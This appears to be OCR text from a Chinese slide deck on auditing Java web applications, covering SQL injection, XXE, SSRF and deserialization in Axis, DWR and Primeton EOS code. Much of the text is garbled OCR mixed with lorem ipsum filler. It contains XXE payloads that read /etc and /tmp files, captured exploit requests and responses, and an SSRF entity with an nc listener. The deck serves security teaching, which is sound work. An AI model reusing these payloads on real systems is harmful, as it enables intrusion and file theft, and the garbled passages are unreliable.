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Lorem ipsugn dolor sit amet, consectetur adipisicing elit, ¢, . u E =y

sed do eiusmod tempor incididunt ut labore et dolore
magna aliqua. Ut enim ad minim veniam, quis nostrud
exercitation ullamco laboris nisi ut aliquip ex ea = ##
commmodo consequat. Duis aute irure dolor in reprehen- "
derit in voluptate velit esse cillum dolore eu fugiat nulla . .
pariatur.

_— 1

0 » | |

VE5K[0) ABSTRACT GRAPHIC

vector lllustration

ID :jkgh006
W2 - O
NE  FUNBYEREY




- BHEK cumawks

I W

=

—_—t

BESMEUNESNENEEGRGR , 22 BECANFREE TRENSI, TR

MMEBTRE , R SR S BT | AXDES

RO, RASERTTRIDRINSES R N T £ TIFE LRERI—FTEER.

, TRRUHIALRITERK/LF




01
02

03

O4a

P e e e e e e e e e e e e e e T

e e e e e e e e e e e e e e e e e e e e e e e e e

P e e e e e e e e i T T e TR

e e e e e e e e e e e e e e e e e e e e e e e e e e e e

e = = = e = = e e e e e e e e e e e e e e e e e e e

e e e e e e e e e e e e e e e e e e e e e e e e e e

o = e e = e e e e e e e e e e e e e e e e e e e o e

e e e e e e e e e e e e e e e mm e e e e e

- BHEK cumawks



- BHEK cumawks

iy > =iy 4

ZE(CIBEIT
LHABNRBEL , ROSAYESLRENEMEEH
ETHR B-MESHLWNED. IRNEHBEL AR
HE A MUBEEACHETIRBREHRZE.




. . BYER csnamkcs
@ =emmit '
- SQLEA
SQLEN RS EESQLE A EXF—
NSRRI EAENER, PITXEE

OWASP Top 10 - 2017 » — AN BRI EIT RSB Rt E 5
A1:2017-Injection . IEHEN.

REF5IHE

A2:2017-Broken Authentication

A3:2017-Sensitive Data Exposure

° - A4:2017-XML External Entities (XXE) [NEW] ' REFFUERIEF B Y IR E I SRANTEE |
Y7 M s ab A UETT 3 E B —
A5:2017-Broken Access Control [Merged] XE ! EVX%E’JQ%E* , ez VAR
e S WIS =R 1Y SRET 7 KA
A6:2017-Security Misconfiguration - BRI B R ENTIPERE L /AT |
. BT REAZER S iRE
A7:2017-Cross-Site Scripting (XSS)
A8:2017-Insecure Deserialization [NEW, Community] XM LEW

A9:2017-Using Components with Known Vulnerabilities

A10:2017-Insufficient Logging&Monitoring [NEW,Comm.] A EEIERIGEXMLESEXMLE
N, XML LR SB S RBLETER
IRAVEHRE. FMNEBSEIARSIT XML SZEI’FEA;F
B45M&B URI ﬁ’]*ﬁE
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id.equals("0")) &&

0

eption("nodeid 1 colid FEEHBZRMHE—4

Q N conn onManager.getInstance(

Lnodeid Ay

STTEANERZ:

select * from typestruct where nodeid in(1)
Lnodeidfy

STTEANERZ:

select * from typestruct where nodeid in(

)

ruct where nodeid in(" + nodeid + ")";

romRs(root, rs);
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a4 sqlmap

¢z gmap-permission.xml

¢5 SqlMapConfig.xml

¢(select id="getGroupList” resultMap="groupResult”>
select * from as_group

{/select>

(select id="getGourpListByUserId” resul tMap="groupResult” parameterClass="java. lang String >

select tt. * from as_group tt, as_user_group t
where t.user_id = #userId# and tt. group_id = t. group_id
{/select>
(select id="getUserByld” resultMap= userResult” parsmeterClass="java. lang String >
select t.user_id, t.user_name, t.passwd from as_user t
vhere t

{/select>

¢(select id="getRoleById” resultMap="roleResult” parameterClass="com. ufgov. gmap.model Role™>

select ar.role_id, ar.role_name, ar.role_desc
, "$coCode$’ as co_code, "$orgCode$’ as org code, CREATOR
from as_role ar
where ar.role_id = #id#

{/select>

- BHERK smamka
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RigidA1234 , HorgCodefy
TEHEGDE:
select ar.role_id, ar.role_name, ar.role_desc,'1l' as co_code, '1' as
org_code, CREATOR from as_role ar where ar.role_id = 1
Lnodeidfy
TEAEGE:
select ar.role_id, ar.role_name, ar.role_desc,'1l' as co_code, '
' as org_code, CREATOR from

*as_role ar where ar.role_id = 1
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BEiErYESEMhibernate* kBB L EIEFRNATEN

38 (JPQL )

AppServer | SELECT e FROM user e WHERE e.id =
] JPaL/HAL S T
- FREE (JPQL)
. ! JavaApp e ORM "_

O ORM sees:

String in  quotes
O DBMS gets:

Bool SQL expression — TRUE

Bool SQL expression — FALSE
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SR ORMEEA

BEHEERIRE M hibernate*- BB L EIEERMANEN

#$=28) ( Hibernate ORM )
AppServer | test '
JPQL/HAL EMERAHQLEGIHMEES -

: ; -JavaApp S0l ORM SELECT p FROM pl.btbw.persistent.Post p where p.name="t

BT HEENSQLIES «
select post0_.id as id1_0_, post0_.name as name2_0_ from post
post0_ where post0_.name= '

XEBA ISR ER—MEYEE T




public void init() throws ServletException {
if(connections == null) {

1 connections = new Vector();
}

@ crzeHit-rmw -

{servletmapping> -
if(server_socket == null) {

ServletConfig config = super.getServletConfig();
String port = config.getInitParameter("SOAPMonitorPort");
if(port == null) {

port = "0";

{servlet—mame MonitorService{/servlet—mame>

{url-pattern>/SOAPMonitor<{/url—pattern>

{/servlet1apping'}

{servlet> }

{servlet—mame>S0APMonitorService{/servlet—mame> try {
ry

server_socket = new ServerSocket(Integer.parselnt(port));
} catch (Exception var4) {

server_socket = null;

{servlet—class>

org. apache. axis. monitor. SOAPMoni torSers
{/sexrvlet—class>
{init—param> }

{param—mame >S0APMonitorPort{/param—mame> A 2
if(server_socket != null) {

(new Thread(new SOAPMonitorServicé.ServerSocketThread())).start();

{param—value>5001{/param—value>

{/init—param> }
{load—on—startup>100{/load—on—startup> }

{/sexvlet>

p°ub|ic void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException,” ServletException {
int port = 0O; «
if(server_socket !'= null) {
. port = server_socket.getLocalPort();
} .
. responsé.setContentType("text/html");
response.getWriter().printIn(" <object classid=\"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\" width=100% height=100%
codebasez\"http://java.sun.com/products/plugin/1.3/jinstall-13-win32.cab#Version=1,3,0,0\">");
response.getWriter().printIn(" <param name=code value=SOAPMonitorApplet.class>");
response.getWriter().printIn(" <embed type=\"application/x-java-applet;version=1.3\" code=SOAPMonitorApplet.class width=100%
height=100% pont=\"" + port + "\" scriptable=false pluginspage=\"http://java.sun.com/products/plugin/1:3/plugin-install.ntmN\">");
response.ge*\lriter().println("<noembed>"); o
response.getWriter().printIn("</comment>");
response.getWriter().printIn(" </noembed>"); - »
response.getWriter().printIn(" </embed>");
response.getWriter().printIn(" </object>");
response.getWriter().printIn(" </body>");
response.getWriter().printIn(" </html>");

class ConnectionThread implements Runnable {

private Socket socket = null;

private ObjectInputStream in = null;

private ObjectOutputStream out = null; .
private boolean closed = false;

public ConnectionThread(Socket s) {
this.socket = s;

try {
this.out = new ObjectOutputStream(this.socket.getOutputStream());
this.out.flush();
this.in = new ObjectInputStream(this.socket.getInputStream());

} catch (Exception var6) {

li

}

synchronized(SOAPMonitorService.connections) {
SOAPMonitorService.connections.addElement(this);
}
}

public void close() {
this.closed = true;

try {
_this.socket.close();
} catch (IOException var2) {

i

}
}

public void run() {
while(true) {
try {
if('this.closed) {
Object ioe = this.in.readObject();
continue;

}
} catch (Exception var6) {

}

T

synchronized(SOAPMonitorService.connections) {
SOAPMonitorService:connections.femoveElement(this); °

I
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= SSRF 153K172.16.169.153:1231
SRiPoCTYDR Toot [
<!ENTITY entity SYSTEM "http://172.16.169

1>

<root>g&entity;</root>

rugal@rugal-Deepin: ~$ sudo nc -lvvp 1231
listening on [any] 1231 ...

172.16.169.156: inverse host lookup failed: Host name lookup failure
onnect to [172.16.169.153] from (UNKNOWN) [172.16.169.156] 60862

SsrfIi{h

i IRERRES S ONET—H |, fltljava
i . 1.FTP#Y , 2.HTTP{Y , 3. HTTPSH#MY , GOPHER{HMY

Connection:

ST
<!DOCTYPE <!ENTITY cmd SYSTEM ' id">]> AR < 13-

EPhpHHESIET , MR R, BRARAERIBEREC
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@ <mzemitmzs

{servlet—mapping>
{servlet—mame’dir—invoker{/servlet—mame>
(url-pattern>/dvr/%{/url-pattern>

{/sexrvlet—mapping>

{create creator= mew javascript= JsTools” scope= application”’

{param name= class value= cn.com. enorth. pub3.mbx. common_mbx. JsTools” />

{/create>

public static String parseXmlToJson(String xml) {
if(xml = null &8& xml.trim().length() != 0) {
XMLSerializer xmlSeri = new XMLSerializer();
JSON json = xmlSeri.read(xml);

A 4

return json.toString();

» } else {

return ""; .
} : 4 >
} :

public JSON read(String xml) {
Object json = null;

try {
Document e = (new Builder()).build(new StringReader(xml));

Element root = e.getRootElement();
if(this.isNullObject(root)) {
return JSONNull.getInstance();
} else { . :
String defaultType = this.getType(root, "string");
String key; ;
if(this.isArray(root, true)) { _
json = this.processArrayElement(root, defaultType);
if(this.forceTopLevelObject) {
key =
this.removeNamespacePrefix(root.getQualifiedName());
json = (new JSONODbject()).element(key, json); -
} - :

} else {
json’= this.processObjectElement(root, defaultType);
if(this.forceTopLevelObject) {
key =
this.removeNamespacePrefix(root.getQualifiedName());
json = (new JSONODbject()).element(key, json);

}
}

return (JSON)json;
}
} catch (JSONException var7) {
throw.var7;
} catch (Exception var8) {
throw new JSONException(var8); . "
} ' :
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Raw | Params IHeaders IE|

BYE capm|kxe

Raw | Headers ]El

POST /pub/dwr/call/plaincalllJsTools.parsexmiToJson.dwr HTTP/1.1

Host: W Smmkcom.cn:9001

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&64, rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 */*,q=0.8

Accept-Language: zh-CN zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: text/plain

Referer: http://wessssingsdam cn:9001/

Content-Length: 292

Cookie: JSESSIONID=3FFCBAOCEF61D74BEDF 175746A56B35C; DWRSESSIONID=IPyxkl16Q1mwIHFFik3TVIbZm69ohUc4fs|
<{-Forwarded-For: 8.8.8.8"

Connection: keep-alive

callCount=1
nextReverseAjaxindex=0
cO0-scriptName=JsTools
cO-methodName=parsexmliToJson
c0-id=0
cO-param0O=string
/string>
scriptSessionld=IPyxkl16Q1mwIHFFik3TVIbZm69ohUc4fsl/5SKD5fsl-HDDtUzUG2

<IDOCTYPE+xdsec+[<|ELEMENT+string+ANY+><IENTITY+xe+SYSTEM+"file%3a///etc/"+>]><

<string>%26xxe%3b<

e

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/plain
Content-Length: 2723

Date: Tue, 12 Jun 2018 05:34:33 GMT

/#DWR-INSERT
/#DWR-REPLY
dwr.engine._remoteHandleCallback('null''0' "[\" pwd lock\nacpinadjtime\\nalchemistinaliases\\naliases db\\nalsa\\nalternatives\\nanacrontab\\nat.deny\\na
udisp\\naudit\nauto. master\\nauto. misc\\nauto net\nauto. smb\\nautofs_Idap_auth.confinavahi\\inbashre\\nblkid\nbluetooth\\nbonaobo-activation\\ncapi.confy
\ncdrecord.confi\ncipe\\nconman.conf\ncron.d\\ncron.daily\\ncron.deny\\ncron.hourly\\ncron.manthiy\\ncron weekiy\\ncrontab\\ncsh.cshre\\ncsh login\\ncups
Wndbus- 1\ndefaulti\ndepmod.d\ndesktop-profilesindev.dindhcp6e confinDIR_COLORSWIDIR_COLORS xterm\indnsmasq.confi\ndnsmasq.dindumpdate
s\\nenvironment\nesd.confinexports\\nfb modes\nfilesystems\nfirmware\\nfonts\nfoomatic\\nfstab\\ngconf\ngcryptingdmingetiog.sh\ingetlog 1.sh\\nghost
scriptingnome-vfs-2.0\ngnome-vfs-mime-magic\ngpm-raot.confingre .d\ngroup\\ngroup-\ngrub confingshadow\\ngshadow-\\ngssapi_mech.confingtk-2.0
\inhal\nhost.conf\nhosts\\nhosts allow\\nhosts bak\nhosts .deny\nhttpd\\nidmapd .confninit. dwninitliog .confninittab\\ninputre\niproute 2\nisdn\inissue\iniss
ue netinjaval\injvm\njvm-commmon\\njwhais .conf\nkdump.confinkrb5.confinid.so.cacheWnld so.confinid.so.conf.d\nldap .confiniftp confinlibaudit. confinli
buser.confinlocaltime\\nlogin.defs\\nlogrotate conf\nlogrotate d\nlogwatch\\nisb-release dinlvminmail\nmail re\nmailcap\\inmakedev.d\inman.configinmayv
en\\nmgetty+sendfaxiinmime types\nminicom.users\nmke2fs conf\nmadprobe.confinmodprobe .dinmatd\nmtab\\nmtools.confinmultipath .conf\nMuttre\in
Muttrc local\nnetplug\\nnetplug.d\inNetwarkManager\\nnscd.confinnsswitch.confinntp\\nntp .confinopenidap\noptinpam_pkes11\npam_smb.confinpam.d
\\npango\npasswd\\npasswd-\npcmeialnphp.d\nphp.ini\npinforc\\npkivnpmi\npppinprelink.cac npl'-'|ln|\ c onf \nprelink.c onf d\nprintcap\\nprofile\nprofi
\\nprotocols\\nquotagrpadmins\\nquatatab\\nracoon\nreWnre . dinre local\nre sysinit\nre0.d ! nrc6.d\nreadahead.d
Wnreader conf\nreader.conf.d\nredhat-Isb\\nredhat-release\\nresolv conf\nrhgb\nrmt\nrpe\\nrpminrwtaby mwtab d\nsane.d\nsasi2u\nsciminscrollikeeper.
confi\nscsi_id.configiinsecureth\\nsecurit\\nselinuxiinsensors confinservices\\nsestatus.confinsetroubleshootinsetuptool dinsgmiinshadowinshadow-\\n
\ \ \nsmartd.confinsmrsh\\nsnmp\\nsoundinsquidinsshinstunne\insudoers\\nsysconfiginsysctl.confinsyslog.confi\ntermcapiintux.mime
updatedb confinvimreW\nvirc\nvsttpdinwarnquota.confi\nwebalizer conf\nwgetrc\nwpa_supplicantinwvdial.confnx 1 1\nxdg\\nxinetd.confi\
n-’ln'-‘td d\\nxminyp.conf\nyumWinyum.confi\nyum.repas.din\']");

le.
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‘ *E*muifzﬁﬁ— G TEEOSTFRIES

<servlet>
<servlet-name>ControllerServlet</servlet- name> .
<servlet-class>

com.eos.access.http.ControllerServlet
</servlet-class>
<load-on-startup>10</load-on-startup>
</serv|et>

<servlet-mapping>
<servlet-name>ControllerServlet</servlet-name>
<url-pattern>

1 /WSAct|V|tyInstManagerSerwce

</url-pattern> o .
</servlet-mapping>

<servlet-mapping>
<servlet-name>ControllérServlet</servlet-name>
« | <url-pattern>*flowx</url-pattern>
</servlet-mapping>

....................... X

<servlet-mapping>
<servlet-name>ControllerServlet</servlet-name>
<url-pattern>*.terminate </url-pattern>

« | </servlet-mapping>

© <servlet> -

. | <servlet-name>resteasyservlet</servlet-name>
<servlet-class>

let-class>
rviet> ’
<servlet-mapping> '
<servlet-name>resteasyservlet</servlet-name>
<url-pattern>/rest/services/*</url-pattern>
</servlet-mapping>

WebservicelZ[OiittzE

BY campEkxs

RestiZ[ittzE

com.primeton.components.rest.extend.CustomHttpServletDispatcher
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’ BRI D tr— S TCEOS & HELS

XmlifEtrEEWebserviceizOARIARES T4

cesE[FtERIBIET

et-mapping> fomium.
5 splitURL

Execute

L Ensble
- <wsdl:message name="findA
<wsdl:part name="WFWebServic tion” s:find/ ity yInstiD WFW. rviceException® /wsdl:part>

</wsdl:message>
<url-pa enth g i ‘url-patt > <wsdl:message nam
~ N <wsdl:part name="restartActivitylnstance” element="nnsrestartActivitylnstai =~ </wsdl:part>

'le:’t-mdpplngi- ) " N

</wsdl:message>

vlet-mapping> - <wsdl:message name-"terminateActivitylnstanc

<wsdl:part name = "terminateActivitylnstance® element-"nns:te ateAc stance*> </wsdl:part=
</wsdl:message>
url-pattern> - <wsdl:message nam

<wsdl:part name="chan
/wsdl:message >
<wsdl:message name="f \ctivitylnstByActivitylD /ebServiceFx

="nns:flinishActi

servlet-name

rvlet-name>

< wsdl.message:
wsdl:message name
<wsdl:part name="find/
</wsdl:message>
- <wsdl:message name=
<wsdl:part name= ActivitylnstSta
‘wsdl:message>
=wsdl:message name="suspendAclivilyinstance

et-mapping>

sdl:part name - “suspendActivitylnstance® element- nns:suspendActivityinstance® s
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BY campEkxs

@Path("/rest/services/bps/webcontrol") 14
@Consumes({"application/json", "application/x-www-form-urlencoded"})
@Produces({"application/json"})
public class WebControlRestService {

public WebControlRestService() {

K2 I

@POST
@Path("/queryParticipants")
public Map<String, Object> queryParticipants(HashMap <String, Object> mapObject) throws WFSerwceExceptlon JSONExceptlon {
MashMap resultMap = new HashMap();
String nodeBody = String.valueOf(getJsonFromMap(mapObject)); .
DataObject node = (DataObject)changeToDataObject("node", nodeBody, Boolean.valueOf(true));
bject'otherParamObj = (DataObJect)changeToDataObJect("otherParamObJ nodeBody, Boolean. vaIueOf(true))
resultMap.put("childNodes", SerV|ceUt|IqueryPart|C|pants(node otherParamObj));
return resultMap;

} L "

@POST
@Path("/searchParticipants") e
public Map<String, Object> searehParticipants(HashMap<String, Object> mapObject) throws WFServiceException {
HashMap resultMap = new HashMap();
. String name = String.valueOf(mapObject.get("name"));
Map extData = (Map)mapObJect get("extData");
‘PageCond. page = (PageCond)mapObject.get("page”);
resultMap.put("childNodes", ServiceUtil.searchParticipants(name, extData, page));
return resultMap;

RestizMEBIS—MECEMHIREY

resteasy.resources=com.primeton.bps.web.control.restful. WebControlRest
Service

POST /rest/serV|ces/bps/webcontrol/queryProcessAndActlwty HTTP/1.1

| Host: localhost:8080

User- Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml, appllcatlon/xml q=0.9,%/*,9=0. 8
Accept-Language: en-US,en;q=0.5

Content-Type: application/json . ; . .
Content-Length: 16

Cookie: UM_distinctid=160cb8347c532e-02170ecaf6aeb- 4c322f7c—
1fa400-160cb8347c662d; CNZZDATA1261218610=1741751127-
1515241945-%7C1515241945;
JSESSIONID=F890E2EC8E8BC30F17DE9852F6D40B27

Connection: close

Upgrade-Insecure-Requests: 1

{"workltemID":1}




‘ IERRIE A B mEOSFRIES

{servlet—mapping>

{servlet—mame>ControllerServlet{/servlet—mame>
{url-pattern>*. flowx{/url—pattern>

{/servlet—mapping>

{servlet>
{servlet—mame>ControllerServlet{/sexrvlet—mame>
{servlet—class>

com. eos. access. http. ControllerServlet

{/servlet—class>

{load—on—startup>10{/load—on—startup>

{/sexrvlet>

BYEE canpm|Eke

\ 4

private void process(HttpServletRequest request HttpServletResponse response) throws IOException,
ServiletException {
if(UserLoginCheckedFilter.isPortal() && request getSessian().getAttribute("userObject”) == null) {
IUserObject e =
CustomObJectProwderProwder.getProwder().getVlrtuaIUserObJect(VlrtuaIUserObJectTypes.PORTAL_USER);
((UserObject)e).setUserRemotelP(HttpHelper.getRemoteAddr(request));
request.getSession().setAttribute("userObject”, e);
}

try {
WeblnterceptotrManager.INSTANCE.createChain(request, response). doIntercept(request response);
} catch (Throwable var7) {
logger.error(var7);
} finally {
DataContextManager.current().reset();

}

A FTER = Ras

ATl
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’ *E*lllb*iﬁ*ﬁ = EEOSH&H:M .

public static final WebInterceptorManager INSTANCE = new WeblnterceptorManager(); " . : 4 B RIAHEEIE — M B ST S Ehandler-web.xml, 2B kSN2 AN
prlvate WeblnterceptorManager() {thls readCanfigFile();} _ ‘
private void readConfigFile() { 1.WSInterceptor webservicef9iEKIEH
K. . 2.Webl18NInterceptor

HandIerRegistr-y inteceptorRegistry = HandlerRegistry.load(WeblInterceptorManager.class.getClassLoader(), configDir, 3.HttpSecurityWeblnterceptor ERANEZRES
"handler-web.xml", IWeblnterceptor.class, "handler”, "id", "class", "sortldx", 100, false); 4.HttpRefererWeblnterceptor referert&&

..... : 5.UserLoginInterceptor G oy

this. addInterceptorConflg(conflg) 6.AccessedResourcelnterceptor HRRGHIR R E
b .

public void addInterceptorConfig(WeblnterceptorConfig config) {

thiskonfigs.add(idx, config); v ;;::l:‘:)i“: 1.07 encoding=UTP-8"2
this.interceptors.add(idx, interceptor); '

public IWebInterceptorChaln createChaln(HttpServIetRequest request, HttpServletResponse response) {

IWeblnterceptor interceptor = (IWeblnterceptor)this.interceptors.get(i);
chain.addInterceptor(interceptor);

} : <handler id="TSInterceptor” sortIdx="0" pattern="/*" class="com. primeton. sca. host. webapp

} ¢handler id="TebI18NInterceptor sortIdx="1" pattern="/%*" class="com.primeton access.ht{

<handler id="HttpSecuritylebInterceptor” sortIdx="2" pattern= % flov,* jsp” class= com.e

} ﬁna”y{ ¢handler id="HttpRefererTebInterceptor” sortIdx="3" pattern= /*" class= com. eos. access.bh
thlS.IOCk.readLOCk().UnIOCk(); <handler id="UserLoginInterceptor sortIdx="100" pattern="/*" class="com. eos. access. http
} o <handler id="AccessedResourcelnterceptor” sortIdx="101" pattern="/*" class="com. primeton

return chain; ¢/handlers>




‘ EZRRIE Dt —ZTEOSH &HESS

private int pos = 0;

Choose Implementation of dolntercept (11 found)

private FilterChain filte;(C) AccessedHttpResourceFilter

DispatchWebInterceptor
public TebInterceptorChaiy

}

FunctionWebInterceptor
HttpRefererfebInterceptor
public void doIntercept(H HttpSecurityfebInterceptor

1f(this pos = this. 4(C) ProcessorfebInterceptor
1f(this. filterCha]
this. filterChe

RulesIpFilter

SCAVebServiceServletFilter

}
} else { (3 UserLoginCheckedFilter (com. eos. access. http) lib (eos—server—access—7.1.4.0. jar) [
IWebInterceptor ini'C UserLoginfebInterceptor
++this. pos; C) TebI18NInterceptor

interceptor. doIntercept(servlietrequest, servletresponse, this),

BYE capm|kxe
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’ IERRIE A B mEOSFRIES

filter>

(filter—mame>InterceptorFilter{/filter—mame>
(filter—class>com. eos. access. http. InterceptorFilter{/filter—class>

/filtex>

A E—EEREsE

7 =TT

B e 8.

public void init(FilterConfig arg0) throws ServletExceptlon {
this. |n|t()

}

public void init() { .
Map processors = RequstProcessors INSTANCE. getAIIProcessors()

or();

Iterator e = processors.entrySet

while(e. hasNe
erceptors = (Entry)e. next()

(String)interceptors.getKey());
|f(|nterceptor 1=

-
¥

IXESERR A T PRI SRS
1. handler-processor.xml
2.- handler-web.Xml

flow”

class="com. primeton. ext. engine. core. processor. HttpPageFlovProcessor~ />

¢handler 1d="flowProcessor suffix="_ sortIdx="0"

¢handler id="actionProcessor suffix="_action” sortIdxz="0"

- . . . - -,
ClaSS— com. prlleton. ext. engine. core. processor. ActlonProcessor /."

¢handler id="dowvnloadProcessor” suffix="_download”
sortId=="0"
class="com. primeton. access. http. impl. processor. DowvnloadProcessor” />

suffix="

- confi gdovnl oad'

¢handler id="dowvnloadConfigProcessor”
sortId=="0"

class="com. primeton. access. http. impl. processor. DovnloadConfigProcessor” />

public class WeblnterceptorManager {
private static final Logger logger = TraceLoggerFactory.getLogger(WebInterceptorManager. cIass);
public static final WebInterceptorManager INSTANCE = new WeblnterceptorManager();
private List<WeblnterceptorConfig> configs = new ArrayList();
private List<IWeblnterceptor> interceptors = new ArrayList();
private ReentrantReadWriteLock lock = new ReentrantReadWriteLock(true);

private WeblnterceptorManager() {
this.readConfigFile();
}

private void readConfigFile() {
File configDir = new File(ApplicationContext.getInstance().getApplicationConfigPath());
HandlerRegistry inteceptorRegistry =
HandlerRegistry.load(WeblnterceptorManager.class.getClassLoader(), configDir, "handler-web.xml",
IWeblnterceptor.class, "handler”, *id", "class", "sortldx", 100, false);
Iterator i$ = inteceptorRegistry.getEffectiveHandlerModels().iterator();

whileli$.hasNext() { .




' ?Emuuifzﬁﬁ— EEOSFFZ&‘?E?K

PRI T EAREOHUTE | SRR h—IR

, <handler id="flowProcessor" suffix="flow" sortldx="0"

° , class="com.primeton.ext.engine.core.proces

sor.HttpPageFlowProcessor" />
.

| . E:—‘Eh HEHIEAEAS
— — 10

public class HttpPageFlowProcessor extends AbstractPageFlowProcessor {......} I 5

: 11

public abstract class AbstractPageFlowProcessor extends AbstractProcessor {

public void process(HttpServIetRéquest request, HttpServletResponse,response) throws IOException, ServletException {

try {
this.doProcess(e, [esporise, (IParameterSet)null);
} catch (Throwable var7) {

public void doProcess(HttpServletRequest request, HttpServletResponse response, IParameterSet parameterSetA) throws

IOException, ServletException {

Object var35 = request.getAttribute("_eosRequestDataContext");
if(var35 != null && var35 instanceof PageflowRuntimeContext) {

if('this.hasUserDataConvert(pageFlowlnstance; var32.getStateName(), current_error_uri, this.getRequestedFlowID(request)))
IParameterSet vard2 = this.createParameterSet(requgst, response);
IVariable[] var44 = this.movelnnerParams((IVariable[])var38);
var42.build(var44, context);




; B Ik snpEkxs
EZRRIE D th—TEOSH RIESS

public-void build(IVariable[] vars, IDataContext context) {
gocom.components.coframe.auth.login.login.flow HTTP/1.1

String var33;

try {
var33 = (Strilng)this.vaIues.get("_eosFIowDataContext"),‘

KHTML, like

} catch (Exception var21) {
throw new RuntimeException("process _eosFlowDataContext has exception!”, var21); Accept: te) .application/x xml application/xml;q=0.9 imag bp image/apng.*

Wif(var33 |= null && Ivar33.equals(") {

try {
Object var35 = ContextSerializer.deserialize(var33);

13

public static Object deserialize(String codedString) throws IOException, ClassNotFoundException
{

BASE64Decoder decoder = new BASE64Decoder();

by_te‘[] buf = decoder.decodeBuffer(codedString);

ByteArrayInputStream bais = new ByteArrayInputStream(buf);

ObjectlnputStream oos = new ObjectInputStream(bais);

Object o'= oos.readObject();

oos.close();

return o;




' ?Emuuifzﬁﬁ— EEOSFFZ&‘?E?K

PRI T EAREOHUTES | SIEAE L —IR

, <handler |d="aJaxB|zProcessor suffix=".biz.ajax"
» : sortldx="0"
& L
+ class="com.primeton.ext.engine.core.proces

spr.AjaxBizProcessor“ />

| . E!th HEHIEAEAS
- : 14

public class AjaxBizProcessor extends AbstractBizProcessor {......} I "

: 15

public IParameterSet createParameterSet(HttpServletRequest request, HttpServletResponse response) {
response.setCharacterEncoding("UTF-8");

return ParameterBuilder.createAjaxParamSet(request);

com.primeton.engine.cone.impI:process.parameter.ParameterBuiIder.createAjaxParamSet(Paramet'erBuiIder.java:39)

com.primeton.engine.core.impl.process.parameter.ParameterBuilder.buildParameterSet(ParameterBuilder.java:74),

com.primeton.engine.core.impl.process.parameter.AjaxParameterSet.init

public void init() {

String xml = buffer.toString();

Document varll;

if(lgetXMLHeader(xml).contains("encoding")) {
String paramNode = MultipartResolver.getEncoding();
varll = XmlUtil.parseStringThrowsException(xml,'paramNode);

} else { a :
varll = XmlUtil.parseString(xml);

R . » o) .




‘ BRI t— B TTEOSFHAIESR

POST /coframe/auth/login/1234 biz.ajax HTTP/1.1

Content-Type: application/«~-www-form-urlencoded
User- Aq-nt Mozilla/5.0 (Windows NT 10.0; Win64,; x64) AppleWebKit/537.36 (KHTML, like Gecka) Chrome/65.0.3:

[;0=0.9 image/webp,image/apng,*/*;q=0.8
ogin.jsp

Cookie: JSESSIONID= 9DADODS0F952 5BF611F6
Connection: close

__ajaxParam mi+version%3d"1.0"+encoding%3d"utf-8

<IDOCTYPE+xdsec+++

<IELEMENT+methodname+ANY+>

<IENTIT® YSTEM+"file:/fitmp/pa"+>]>
<root><params><param><key>userName</key><value>test2</value></param=><param><key>password</key><value>%:
e%3b</value></param><param><key>__outParam</key><value>java.lang.String+result</value></param><param><key>__
paramsinfo</ <value=>java.lang.String+userName +java.lang.Integer+password</value></param=></params>
<data></data>< >

[eostest_war_exploded] [2018-06-13 15:15:54, 118] [(ERROR] [com. primeton. ext. engine. core. processor. AbstractProcessor:123

java. lang. RuntimeException: java. io. I0Exception: \tmp\pa (RIFHTFHEERIRER ): <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [

{!ELEMENT methodname ANY >
C!'ENTITY xxe SYSTEM "file:///tmp/pa” >1>

{root>{params>{param><{key’userName{/key><{value>test2{/value>{/param>{param><key>password{/key><{value>lxxe; {/value>{/param>{param><{key>__

{data>{/data>{/root>

BYE capm|kxe
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XmlfgtrEE

FjavaztfflF , Gt T ERERSHIOFXMIBETE | IIFEL 2

i

ax.xml.stream.XMLStreamReader;

4

e DocumentButderFactony: XEEBIRR e , FIAEMZIOARIKLENRE , EAETap!
KReader; FROMBSEAE IR , BATMBENORHTLIR

rg.xml.sax.helpers.XMLReaderFactory;

/)

ax.xml.parsers.SAXParser;
.xml.parsers.DocumentBuilder;

rg.jdom.input.SAXBuilder;




BY I cmaiEkxse
=FH MA%EIC-REFILE

REFFUICEE

Ejava P EWIRFIIE | FFARAREFT AR EFERES &R
A, RISy iR

commons—beanutils:1.9.2
commons—-collections:3.1

public i (Obj S ng file

commons—collections4:4.0
tputStream(new FileOu commons—fileupload:1.3.:
grl:n:r“

hibernate-core:

java

public i yload ring file) t

.sf.json-lib:json-lib:jar:jdk1l5:2.4
c
~

tInputStream(new FileInput hon-standalone:2.5.2
org.apache.
org.springframework:spring-core:4.1.4.RELEASE
wicket-util:wicket-util:6.23




BE I canmks
@ =rumzic-sumamas

SFHrimiArTjard

FRMBFRIETR | jarfIERSTERINEE | 15RIRNE—LAFIRINEE |
tean , EMiER FAREEEBjsonly , W& AT LAKZEcontent-type
AEEE— 1 xml , NTmERxxeKT , SE R A jarE8EFEERFIIL
i, TEEjar A HMFERSHITRE

jeckjson.jar

xstream.jar
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CVEfHXE BRI
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(struts2, spring, hibernate, thinkphp, django)

= (java,php,Cc#)

(FreeMarker, stmary, Jinja2)
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'gn"wfﬁgia-w.ébservice

<servlet-mapping>

<servlet-name>AxisServlet</servlet-name>
<url- pattern>/serv|et/AX|sServIet</ur| pattern>
</servlet-mapping>
<servlet-mapping> |
<servlet-name>AxisServlet</servlet-name >
<url-pattern>*jws</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name >
<url-pattern>/service/*</url-pattern>
.</servlet-mapping>
<servlet-mapping>
<servlet- name>AX|sServIet</servIet name>
<url- pattern>/serV|ces/*</urI pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>SOAPMonitorService</servlet-name >
<url-pattern>/SOAPMonitor</url-pattern>
</servlet-mapping>

axis?2

* <servlet-mapping>

BY campEkxs

<servlet-mapping>
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/servlet/XFireServlet/* </url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>XFireServlet</servlet-name*
<url-pattern>/services/*</url-pattern>

</servlet-mapping>
xfive

<servlet> .
